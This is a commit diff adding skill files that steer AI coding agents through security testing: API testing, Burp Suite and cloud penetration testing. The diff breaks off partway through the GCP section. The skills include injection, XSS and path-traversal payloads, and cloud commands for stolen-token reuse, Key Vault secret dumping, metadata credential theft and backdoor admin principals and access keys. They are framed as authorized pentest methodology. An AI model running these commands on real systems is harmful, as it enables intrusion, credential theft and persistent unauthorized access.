📦 deps(thirdparty): update snapshots
This commit is contained in:
+19
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"name": "antigravity-bundle-aas-security-engineer",
|
||||
"version": "11.11.0",
|
||||
"description": "Editorial \"AAS Security Engineer\" bundle for Claude Code from Antigravity Awesome Skills.",
|
||||
"author": {
|
||||
"name": "sickn33 and contributors",
|
||||
"url": "https://github.com/sickn33/antigravity-awesome-skills"
|
||||
},
|
||||
"homepage": "https://github.com/sickn33/antigravity-awesome-skills",
|
||||
"repository": "https://github.com/sickn33/antigravity-awesome-skills",
|
||||
"license": "MIT",
|
||||
"keywords": [
|
||||
"claude-code",
|
||||
"skills",
|
||||
"bundle",
|
||||
"aas-security-engineer",
|
||||
"antigravity-awesome-skills"
|
||||
]
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"name": "agyb-aas-security-engineer",
|
||||
"version": "11.11.0",
|
||||
"description": "Install the \"AAS Security Engineer\" editorial skill bundle from Antigravity Awesome Skills.",
|
||||
"author": {
|
||||
"name": "sickn33 and contributors",
|
||||
"url": "https://github.com/sickn33/antigravity-awesome-skills"
|
||||
},
|
||||
"homepage": "https://github.com/sickn33/antigravity-awesome-skills",
|
||||
"repository": "https://github.com/sickn33/antigravity-awesome-skills",
|
||||
"license": "MIT",
|
||||
"keywords": [
|
||||
"codex",
|
||||
"skills",
|
||||
"bundle",
|
||||
"aas-security-engineer",
|
||||
"productivity"
|
||||
],
|
||||
"skills": "./skills/",
|
||||
"interface": {
|
||||
"displayName": "AAS Security Engineer",
|
||||
"shortDescription": "Specialized Product Plugins · 9 curated skills",
|
||||
"longDescription": "Authorized security testing, audit, and hardening teams. Covers Ethical Hacking Methodology, Burp Suite Testing, and 7 more skills.",
|
||||
"developerName": "sickn33 and contributors",
|
||||
"category": "Specialized Product Plugins",
|
||||
"capabilities": [
|
||||
"Interactive",
|
||||
"Write"
|
||||
],
|
||||
"websiteURL": "https://github.com/sickn33/antigravity-awesome-skills",
|
||||
"brandColor": "#111827"
|
||||
}
|
||||
}
|
||||
+176
@@ -0,0 +1,176 @@
|
||||
---
|
||||
name: api-security-testing
|
||||
description: "API security testing workflow for REST and GraphQL APIs covering authentication, authorization, rate limiting, input validation, and security best practices."
|
||||
category: granular-workflow-bundle
|
||||
risk: safe
|
||||
source: personal
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
# API Security Testing Workflow
|
||||
|
||||
## Overview
|
||||
|
||||
Specialized workflow for testing REST and GraphQL API security including authentication, authorization, rate limiting, input validation, and API-specific vulnerabilities.
|
||||
|
||||
## When to Use This Workflow
|
||||
|
||||
Use this workflow when:
|
||||
- Testing REST API security
|
||||
- Assessing GraphQL endpoints
|
||||
- Validating API authentication
|
||||
- Testing API rate limiting
|
||||
- Bug bounty API testing
|
||||
|
||||
## Workflow Phases
|
||||
|
||||
### Phase 1: API Discovery
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-fuzzing-bug-bounty` - API fuzzing
|
||||
- `scanning-tools` - API scanning
|
||||
|
||||
#### Actions
|
||||
1. Enumerate endpoints
|
||||
2. Document API methods
|
||||
3. Identify parameters
|
||||
4. Map data flows
|
||||
5. Review documentation
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-fuzzing-bug-bounty to discover API endpoints
|
||||
```
|
||||
|
||||
### Phase 2: Authentication Testing
|
||||
|
||||
#### Skills to Invoke
|
||||
- `broken-authentication` - Auth testing
|
||||
- `api-security-best-practices` - API auth
|
||||
|
||||
#### Actions
|
||||
1. Test API key validation
|
||||
2. Test JWT tokens
|
||||
3. Test OAuth2 flows
|
||||
4. Test token expiration
|
||||
5. Test refresh tokens
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @broken-authentication to test API authentication
|
||||
```
|
||||
|
||||
### Phase 3: Authorization Testing
|
||||
|
||||
#### Skills to Invoke
|
||||
- `idor-testing` - IDOR testing
|
||||
|
||||
#### Actions
|
||||
1. Test object-level authorization
|
||||
2. Test function-level authorization
|
||||
3. Test role-based access
|
||||
4. Test privilege escalation
|
||||
5. Test multi-tenant isolation
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @idor-testing to test API authorization
|
||||
```
|
||||
|
||||
### Phase 4: Input Validation
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-fuzzing-bug-bounty` - API fuzzing
|
||||
- `sql-injection-testing` - Injection testing
|
||||
|
||||
#### Actions
|
||||
1. Test parameter validation
|
||||
2. Test SQL injection
|
||||
3. Test NoSQL injection
|
||||
4. Test command injection
|
||||
5. Test XXE injection
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-fuzzing-bug-bounty to fuzz API parameters
|
||||
```
|
||||
|
||||
### Phase 5: Rate Limiting
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-security-best-practices` - Rate limiting
|
||||
|
||||
#### Actions
|
||||
1. Test rate limit headers
|
||||
2. Test brute force protection
|
||||
3. Test resource exhaustion
|
||||
4. Test bypass techniques
|
||||
5. Document limitations
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-security-best-practices to test rate limiting
|
||||
```
|
||||
|
||||
### Phase 6: GraphQL Testing
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-fuzzing-bug-bounty` - GraphQL fuzzing
|
||||
|
||||
#### Actions
|
||||
1. Test introspection
|
||||
2. Test query depth
|
||||
3. Test query complexity
|
||||
4. Test batch queries
|
||||
5. Test field suggestions
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-fuzzing-bug-bounty to test GraphQL security
|
||||
```
|
||||
|
||||
### Phase 7: Error Handling
|
||||
|
||||
#### Skills to Invoke
|
||||
- `api-security-best-practices` - Error handling
|
||||
|
||||
#### Actions
|
||||
1. Test error messages
|
||||
2. Check information disclosure
|
||||
3. Test stack traces
|
||||
4. Verify logging
|
||||
5. Document findings
|
||||
|
||||
#### Copy-Paste Prompts
|
||||
```
|
||||
Use @api-security-best-practices to audit API error handling
|
||||
```
|
||||
|
||||
## API Security Checklist
|
||||
|
||||
- [ ] Authentication working
|
||||
- [ ] Authorization enforced
|
||||
- [ ] Input validated
|
||||
- [ ] Rate limiting active
|
||||
- [ ] Errors sanitized
|
||||
- [ ] Logging enabled
|
||||
- [ ] CORS configured
|
||||
- [ ] HTTPS enforced
|
||||
|
||||
## Quality Gates
|
||||
|
||||
- [ ] All endpoints tested
|
||||
- [ ] Vulnerabilities documented
|
||||
- [ ] Remediation provided
|
||||
- [ ] Report generated
|
||||
|
||||
## Related Workflow Bundles
|
||||
|
||||
- `security-audit` - Security auditing
|
||||
- `web-security-testing` - Web security
|
||||
- `api-development` - API development
|
||||
|
||||
## Limitations
|
||||
- Use this skill only when the task clearly matches the scope described above.
|
||||
- Do not treat the output as a substitute for environment-specific validation, testing, or expert review.
|
||||
- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing.
|
||||
+386
@@ -0,0 +1,386 @@
|
||||
---
|
||||
name: burp-suite-testing
|
||||
description: "Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows."
|
||||
risk: offensive
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
|
||||
|
||||
# Burp Suite Web Application Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Tools
|
||||
- Burp Suite Community or Professional Edition installed
|
||||
- Burp's embedded browser or configured external browser
|
||||
- Target web application URL
|
||||
- Valid credentials for authenticated testing (if applicable)
|
||||
|
||||
### Environment Setup
|
||||
- Burp Suite launched with temporary or named project
|
||||
- Proxy listener active on 127.0.0.1:8080 (default)
|
||||
- Browser configured to use Burp proxy (or use Burp's browser)
|
||||
- CA certificate installed for HTTPS interception
|
||||
|
||||
### Editions Comparison
|
||||
| Feature | Community | Professional |
|
||||
|---------|-----------|--------------|
|
||||
| Proxy | ✓ | ✓ |
|
||||
| Repeater | ✓ | ✓ |
|
||||
| Intruder | Limited | Full |
|
||||
| Scanner | ✗ | ✓ |
|
||||
| Extensions | ✓ | ✓ |
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- Intercepted and modified HTTP requests/responses
|
||||
- Vulnerability scan reports with remediation advice
|
||||
- HTTP history and site map documentation
|
||||
- Proof-of-concept exploits for identified vulnerabilities
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Intercepting HTTP Traffic
|
||||
|
||||
#### Launch Burp's Browser
|
||||
Navigate to integrated browser for seamless proxy integration:
|
||||
|
||||
1. Open Burp Suite and create/open project
|
||||
2. Go to **Proxy > Intercept** tab
|
||||
3. Click **Open Browser** to launch preconfigured browser
|
||||
4. Position windows to view both Burp and browser simultaneously
|
||||
|
||||
#### Configure Interception
|
||||
Control which requests are captured:
|
||||
|
||||
```
|
||||
Proxy > Intercept > Intercept is on/off toggle
|
||||
|
||||
When ON: Requests pause for review/modification
|
||||
When OFF: Requests pass through, logged to history
|
||||
```
|
||||
|
||||
#### Intercept and Forward Requests
|
||||
Process intercepted traffic:
|
||||
|
||||
1. Set intercept toggle to **Intercept on**
|
||||
2. Navigate to target URL in browser
|
||||
3. Observe request held in Proxy > Intercept tab
|
||||
4. Review request contents (headers, parameters, body)
|
||||
5. Click **Forward** to send request to server
|
||||
6. Continue forwarding subsequent requests until page loads
|
||||
|
||||
#### View HTTP History
|
||||
Access complete traffic log:
|
||||
|
||||
1. Go to **Proxy > HTTP history** tab
|
||||
2. Click any entry to view full request/response
|
||||
3. Sort by clicking column headers (# for chronological order)
|
||||
4. Use filters to focus on relevant traffic
|
||||
|
||||
### Phase 2: Modifying Requests
|
||||
|
||||
#### Intercept and Modify
|
||||
Change request parameters before forwarding:
|
||||
|
||||
1. Enable interception: **Intercept on**
|
||||
2. Trigger target request in browser
|
||||
3. Locate parameter to modify in intercepted request
|
||||
4. Edit value directly in request editor
|
||||
5. Click **Forward** to send modified request
|
||||
|
||||
#### Common Modification Targets
|
||||
| Target | Example | Purpose |
|
||||
|--------|---------|---------|
|
||||
| Price parameters | `price=1` | Test business logic |
|
||||
| User IDs | `userId=admin` | Test access control |
|
||||
| Quantity values | `qty=-1` | Test input validation |
|
||||
| Hidden fields | `isAdmin=true` | Test privilege escalation |
|
||||
|
||||
#### Example: Price Manipulation
|
||||
|
||||
```http
|
||||
POST /cart HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
productId=1&quantity=1&price=100
|
||||
|
||||
# Modify to:
|
||||
productId=1&quantity=1&price=1
|
||||
```
|
||||
|
||||
Result: Item added to cart at modified price.
|
||||
|
||||
### Phase 3: Setting Target Scope
|
||||
|
||||
#### Define Scope
|
||||
Focus testing on specific target:
|
||||
|
||||
1. Go to **Target > Site map**
|
||||
2. Right-click target host in left panel
|
||||
3. Select **Add to scope**
|
||||
4. When prompted, click **Yes** to exclude out-of-scope traffic
|
||||
|
||||
#### Filter by Scope
|
||||
Remove noise from HTTP history:
|
||||
|
||||
1. Click display filter above HTTP history
|
||||
2. Select **Show only in-scope items**
|
||||
3. History now shows only target site traffic
|
||||
|
||||
#### Scope Benefits
|
||||
- Reduces clutter from third-party requests
|
||||
- Prevents accidental testing of out-of-scope sites
|
||||
- Improves scanning efficiency
|
||||
- Creates cleaner reports
|
||||
|
||||
### Phase 4: Using Burp Repeater
|
||||
|
||||
#### Send Request to Repeater
|
||||
Prepare request for manual testing:
|
||||
|
||||
1. Identify interesting request in HTTP history
|
||||
2. Right-click request and select **Send to Repeater**
|
||||
3. Go to **Repeater** tab to access request
|
||||
|
||||
#### Modify and Resend
|
||||
Test different inputs efficiently:
|
||||
|
||||
```
|
||||
1. View request in Repeater tab
|
||||
2. Modify parameter values
|
||||
3. Click Send to submit request
|
||||
4. Review response in right panel
|
||||
5. Use navigation arrows to review request history
|
||||
```
|
||||
|
||||
#### Repeater Testing Workflow
|
||||
|
||||
```
|
||||
Original Request:
|
||||
GET /product?productId=1 HTTP/1.1
|
||||
|
||||
Test 1: productId=2 → Valid product response
|
||||
Test 2: productId=999 → Not Found response
|
||||
Test 3: productId=' → Error/exception response
|
||||
Test 4: productId=1 OR 1=1 → SQL injection test
|
||||
```
|
||||
|
||||
#### Analyze Responses
|
||||
Look for indicators of vulnerabilities:
|
||||
|
||||
- Error messages revealing stack traces
|
||||
- Framework/version information disclosure
|
||||
- Different response lengths indicating logic flaws
|
||||
- Timing differences suggesting blind injection
|
||||
- Unexpected data in responses
|
||||
|
||||
### Phase 5: Running Automated Scans
|
||||
|
||||
#### Launch New Scan
|
||||
Initiate vulnerability scanning (Professional only):
|
||||
|
||||
1. Go to **Dashboard** tab
|
||||
2. Click **New scan**
|
||||
3. Enter target URL in **URLs to scan** field
|
||||
4. Configure scan settings
|
||||
|
||||
#### Scan Configuration Options
|
||||
|
||||
| Mode | Description | Duration |
|
||||
|------|-------------|----------|
|
||||
| Lightweight | High-level overview | ~15 minutes |
|
||||
| Fast | Quick vulnerability check | ~30 minutes |
|
||||
| Balanced | Standard comprehensive scan | ~1-2 hours |
|
||||
| Deep | Thorough testing | Several hours |
|
||||
|
||||
#### Monitor Scan Progress
|
||||
Track scanning activity:
|
||||
|
||||
1. View task status in **Dashboard**
|
||||
2. Watch **Target > Site map** update in real-time
|
||||
3. Check **Issues** tab for discovered vulnerabilities
|
||||
|
||||
#### Review Identified Issues
|
||||
Analyze scan findings:
|
||||
|
||||
1. Select scan task in Dashboard
|
||||
2. Go to **Issues** tab
|
||||
3. Click issue to view:
|
||||
- **Advisory**: Description and remediation
|
||||
- **Request**: Triggering HTTP request
|
||||
- **Response**: Server response showing vulnerability
|
||||
|
||||
### Phase 6: Intruder Attacks
|
||||
|
||||
#### Configure Intruder
|
||||
Set up automated attack:
|
||||
|
||||
1. Send request to Intruder (right-click > Send to Intruder)
|
||||
2. Go to **Intruder** tab
|
||||
3. Define payload positions using § markers
|
||||
4. Select attack type
|
||||
|
||||
#### Attack Types
|
||||
|
||||
| Type | Description | Use Case |
|
||||
|------|-------------|----------|
|
||||
| Sniper | Single position, iterate payloads | Fuzzing one parameter |
|
||||
| Battering ram | Same payload all positions | Credential testing |
|
||||
| Pitchfork | Parallel payload iteration | Username:password pairs |
|
||||
| Cluster bomb | All payload combinations | Full brute force |
|
||||
|
||||
#### Configure Payloads
|
||||
|
||||
```
|
||||
Positions Tab:
|
||||
POST /login HTTP/1.1
|
||||
...
|
||||
username=§admin§&password=§password§
|
||||
|
||||
Payloads Tab:
|
||||
Set 1: admin, user, test, guest
|
||||
Set 2: password, 123456, admin, letmein
|
||||
```
|
||||
|
||||
#### Analyze Results
|
||||
Review attack output:
|
||||
|
||||
- Sort by response length to find anomalies
|
||||
- Filter by status code for successful attempts
|
||||
- Use grep to search for specific strings
|
||||
- Export results for documentation
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Keyboard Shortcuts
|
||||
| Action | Windows/Linux | macOS |
|
||||
|--------|---------------|-------|
|
||||
| Forward request | Ctrl+F | Cmd+F |
|
||||
| Drop request | Ctrl+D | Cmd+D |
|
||||
| Send to Repeater | Ctrl+R | Cmd+R |
|
||||
| Send to Intruder | Ctrl+I | Cmd+I |
|
||||
| Toggle intercept | Ctrl+T | Cmd+T |
|
||||
|
||||
### Common Testing Payloads
|
||||
|
||||
```
|
||||
# SQL Injection
|
||||
' OR '1'='1
|
||||
' OR '1'='1'--
|
||||
1 UNION SELECT NULL--
|
||||
|
||||
# XSS
|
||||
<script>alert(1)</script>
|
||||
"><img src=x onerror=alert(1)>
|
||||
javascript:alert(1)
|
||||
|
||||
# Path Traversal
|
||||
../../../etc/passwd
|
||||
..\..\..\..\windows\win.ini
|
||||
|
||||
# Command Injection
|
||||
; ls -la
|
||||
| cat /etc/passwd
|
||||
`whoami`
|
||||
```
|
||||
|
||||
### Request Modification Tips
|
||||
- Right-click for context menu options
|
||||
- Use decoder for encoding/decoding
|
||||
- Compare requests using Comparer tool
|
||||
- Save interesting requests to project
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Test only authorized applications
|
||||
- Configure scope to prevent accidental out-of-scope testing
|
||||
- Rate-limit scans to avoid denial of service
|
||||
- Document all findings and actions
|
||||
|
||||
### Technical Limitations
|
||||
- Community Edition lacks automated scanner
|
||||
- Some sites may block proxy traffic
|
||||
- HSTS/certificate pinning may require additional configuration
|
||||
- Heavy scanning may trigger WAF blocks
|
||||
|
||||
### Best Practices
|
||||
- Always set target scope before extensive testing
|
||||
- Use Burp's browser for reliable interception
|
||||
- Save project regularly to preserve work
|
||||
- Review scan results manually for false positives
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Business Logic Testing
|
||||
|
||||
**Scenario**: E-commerce price manipulation
|
||||
|
||||
1. Add item to cart normally, intercept request
|
||||
2. Identify `price=9999` parameter in POST body
|
||||
3. Modify to `price=1`
|
||||
4. Forward request
|
||||
5. Complete checkout at manipulated price
|
||||
|
||||
**Finding**: Server trusts client-provided price values.
|
||||
|
||||
### Example 2: Authentication Bypass
|
||||
|
||||
**Scenario**: Testing login form
|
||||
|
||||
1. Submit valid credentials, capture request in Repeater
|
||||
2. Send to Repeater for testing
|
||||
3. Try: `username=admin' OR '1'='1'--`
|
||||
4. Observe successful login response
|
||||
|
||||
**Finding**: SQL injection in authentication.
|
||||
|
||||
### Example 3: Information Disclosure
|
||||
|
||||
**Scenario**: Error-based information gathering
|
||||
|
||||
1. Navigate to product page, observe `productId` parameter
|
||||
2. Send request to Repeater
|
||||
3. Change `productId=1` to `productId=test`
|
||||
4. Observe verbose error revealing framework version
|
||||
|
||||
**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Browser Not Connecting Through Proxy
|
||||
- Verify proxy listener is active (Proxy > Options)
|
||||
- Check browser proxy settings point to 127.0.0.1:8080
|
||||
- Ensure no firewall blocking local connections
|
||||
- Use Burp's embedded browser for reliable setup
|
||||
|
||||
### HTTPS Interception Failing
|
||||
- Install Burp CA certificate in browser/system
|
||||
- Navigate to http://burp to download certificate
|
||||
- Add certificate to trusted roots
|
||||
- Restart browser after installation
|
||||
|
||||
### Slow Performance
|
||||
- Limit scope to reduce processing
|
||||
- Disable unnecessary extensions
|
||||
- Increase Java heap size in startup options
|
||||
- Close unused Burp tabs and features
|
||||
|
||||
### Requests Not Being Intercepted
|
||||
- Verify "Intercept on" is enabled
|
||||
- Check intercept rules aren't filtering target
|
||||
- Ensure browser is using Burp proxy
|
||||
- Verify target isn't using unsupported protocol
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
+511
@@ -0,0 +1,511 @@
|
||||
---
|
||||
name: cloud-penetration-testing
|
||||
description: "Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP)."
|
||||
risk: offensive
|
||||
source: community
|
||||
author: zebbern
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
|
||||
|
||||
# Cloud Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
```bash
|
||||
# Azure tools
|
||||
Install-Module -Name Az -AllowClobber -Force
|
||||
Install-Module -Name MSOnline -Force
|
||||
Install-Module -Name AzureAD -Force
|
||||
|
||||
# AWS CLI
|
||||
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
|
||||
unzip awscliv2.zip && sudo ./aws/install
|
||||
|
||||
# GCP CLI
|
||||
tmpdir="$(mktemp -d)"
|
||||
trap 'rm -rf "$tmpdir"' EXIT
|
||||
curl -fsSLo "$tmpdir/google-cloud-sdk-install.sh" https://sdk.cloud.google.com
|
||||
sed -n '1,160p' "$tmpdir/google-cloud-sdk-install.sh"
|
||||
bash "$tmpdir/google-cloud-sdk-install.sh"
|
||||
gcloud init
|
||||
|
||||
# Additional tools
|
||||
pip install scoutsuite pacu
|
||||
```
|
||||
|
||||
### Required Knowledge
|
||||
- Cloud architecture fundamentals
|
||||
- Identity and Access Management (IAM)
|
||||
- API authentication mechanisms
|
||||
- DevOps and automation concepts
|
||||
|
||||
### Required Access
|
||||
- Written authorization for testing
|
||||
- Test credentials or access tokens
|
||||
- Defined scope and rules of engagement
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
|
||||
2. **Resource Inventory** - Enumerated services, storage, and compute instances
|
||||
3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
|
||||
4. **Remediation Recommendations** - Hardening guidance per platform
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Reconnaissance
|
||||
|
||||
Gather initial information about target cloud presence:
|
||||
|
||||
```bash
|
||||
# Azure: Get federation info
|
||||
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
|
||||
|
||||
# Azure: Get Tenant ID
|
||||
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
|
||||
|
||||
# Enumerate cloud resources by company name
|
||||
python3 cloud_enum.py -k targetcompany
|
||||
|
||||
# Check IP against cloud providers
|
||||
cat ips.txt | python3 ip2provider.py
|
||||
```
|
||||
|
||||
### Phase 2: Azure Authentication
|
||||
|
||||
Authenticate to Azure environments:
|
||||
|
||||
```powershell
|
||||
# Az PowerShell Module
|
||||
Import-Module Az
|
||||
Connect-AzAccount
|
||||
|
||||
# With credentials (may bypass MFA)
|
||||
$credential = Get-Credential
|
||||
Connect-AzAccount -Credential $credential
|
||||
|
||||
# Import stolen context
|
||||
Import-AzContext -Profile 'C:\Temp\StolenToken.json'
|
||||
|
||||
# Export context for persistence
|
||||
Save-AzContext -Path C:\Temp\AzureAccessToken.json
|
||||
|
||||
# MSOnline Module
|
||||
Import-Module MSOnline
|
||||
Connect-MsolService
|
||||
```
|
||||
|
||||
### Phase 3: Azure Enumeration
|
||||
|
||||
Discover Azure resources and permissions:
|
||||
|
||||
```powershell
|
||||
# List contexts and subscriptions
|
||||
Get-AzContext -ListAvailable
|
||||
Get-AzSubscription
|
||||
|
||||
# Current user role assignments
|
||||
Get-AzRoleAssignment
|
||||
|
||||
# List resources
|
||||
Get-AzResource
|
||||
Get-AzResourceGroup
|
||||
|
||||
# Storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
# Web applications
|
||||
Get-AzWebApp
|
||||
|
||||
# SQL Servers and databases
|
||||
Get-AzSQLServer
|
||||
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
|
||||
|
||||
# Virtual machines
|
||||
Get-AzVM
|
||||
$vm = Get-AzVM -Name "VMName"
|
||||
$vm.OSProfile
|
||||
|
||||
# List all users
|
||||
Get-MSolUser -All
|
||||
|
||||
# List all groups
|
||||
Get-MSolGroup -All
|
||||
|
||||
# Global Admins
|
||||
Get-MsolRole -RoleName "Company Administrator"
|
||||
Get-MSolGroupMember -GroupObjectId $GUID
|
||||
|
||||
# Service Principals
|
||||
Get-MsolServicePrincipal
|
||||
```
|
||||
|
||||
### Phase 4: Azure Exploitation
|
||||
|
||||
Exploit Azure misconfigurations:
|
||||
|
||||
```powershell
|
||||
# Search user attributes for passwords
|
||||
$users = Get-MsolUser -All
|
||||
foreach($user in $users){
|
||||
$props = @()
|
||||
$user | Get-Member | foreach-object{$props+=$_.Name}
|
||||
foreach($prop in $props){
|
||||
if($user.$prop -like "*password*"){
|
||||
Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Execute commands on VMs
|
||||
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
|
||||
|
||||
# Extract VM UserData
|
||||
$vms = Get-AzVM
|
||||
$vms.UserData
|
||||
|
||||
# Dump Key Vault secrets
|
||||
az keyvault list --query '[].name' --output tsv
|
||||
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
|
||||
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
|
||||
az keyvault secret show --id <URI>
|
||||
```
|
||||
|
||||
### Phase 5: Azure Persistence
|
||||
|
||||
Establish persistence in Azure:
|
||||
|
||||
```powershell
|
||||
# Create backdoor service principal
|
||||
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
|
||||
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
|
||||
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
|
||||
|
||||
# Add service principal to Global Admin
|
||||
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
|
||||
$role = Get-MsolRole -RoleName "Company Administrator"
|
||||
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
|
||||
|
||||
# Login as service principal
|
||||
$cred = Get-Credential # AppID as username, secret as password
|
||||
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
|
||||
|
||||
# Create new admin user via CLI
|
||||
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
|
||||
```
|
||||
|
||||
### Phase 6: AWS Authentication
|
||||
|
||||
Authenticate to AWS environments:
|
||||
|
||||
```bash
|
||||
# Configure AWS CLI
|
||||
aws configure
|
||||
# Enter: Access Key ID, Secret Access Key, Region, Output format
|
||||
|
||||
# Use specific profile
|
||||
aws configure --profile target
|
||||
|
||||
# Test credentials
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
### Phase 7: AWS Enumeration
|
||||
|
||||
Discover AWS resources:
|
||||
|
||||
```bash
|
||||
# Account information
|
||||
aws sts get-caller-identity
|
||||
aws iam list-users
|
||||
aws iam list-roles
|
||||
|
||||
# S3 Buckets
|
||||
aws s3 ls
|
||||
aws s3 ls s3://bucket-name/
|
||||
aws s3 sync s3://bucket-name ./local-dir
|
||||
|
||||
# EC2 Instances
|
||||
aws ec2 describe-instances
|
||||
|
||||
# RDS Databases
|
||||
aws rds describe-db-instances --region us-east-1
|
||||
|
||||
# Lambda Functions
|
||||
aws lambda list-functions --region us-east-1
|
||||
aws lambda get-function --function-name <name>
|
||||
|
||||
# EKS Clusters
|
||||
aws eks list-clusters --region us-east-1
|
||||
|
||||
# Networking
|
||||
aws ec2 describe-subnets
|
||||
aws ec2 describe-security-groups --group-ids <sg-id>
|
||||
aws directconnect describe-connections
|
||||
```
|
||||
|
||||
### Phase 8: AWS Exploitation
|
||||
|
||||
Exploit AWS misconfigurations:
|
||||
|
||||
```bash
|
||||
# Check for public RDS snapshots
|
||||
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
|
||||
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
|
||||
# AttributeValues = "all" means publicly accessible
|
||||
|
||||
# Extract Lambda environment variables (may contain secrets)
|
||||
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
|
||||
|
||||
# Access metadata service (from compromised EC2)
|
||||
curl http://169.254.169.254/latest/meta-data/
|
||||
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
|
||||
# IMDSv2 access
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
|
||||
```
|
||||
|
||||
### Phase 9: AWS Persistence
|
||||
|
||||
Establish persistence in AWS:
|
||||
|
||||
```bash
|
||||
# List existing access keys
|
||||
aws iam list-access-keys --user-name <username>
|
||||
|
||||
# Create backdoor access key
|
||||
aws iam create-access-key --user-name <username>
|
||||
|
||||
# Get all EC2 public IPs
|
||||
for region in $(cat regions.txt); do
|
||||
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
|
||||
done
|
||||
```
|
||||
|
||||
### Phase 10: GCP Enumeration
|
||||
|
||||
Discover GCP resources:
|
||||
|
||||
```bash
|
||||
# Authentication
|
||||
gcloud auth login
|
||||
gcloud auth activate-service-account --key-file creds.json
|
||||
gcloud auth list
|
||||
|
||||
# Account information
|
||||
gcloud config list
|
||||
gcloud organizations list
|
||||
gcloud projects list
|
||||
|
||||
# IAM Policies
|
||||
gcloud organizations get-iam-policy <org-id>
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Enabled services
|
||||
gcloud services list
|
||||
|
||||
# Source code repos
|
||||
gcloud source repos list
|
||||
gcloud source repos clone <repo>
|
||||
|
||||
# Compute instances
|
||||
gcloud compute instances list
|
||||
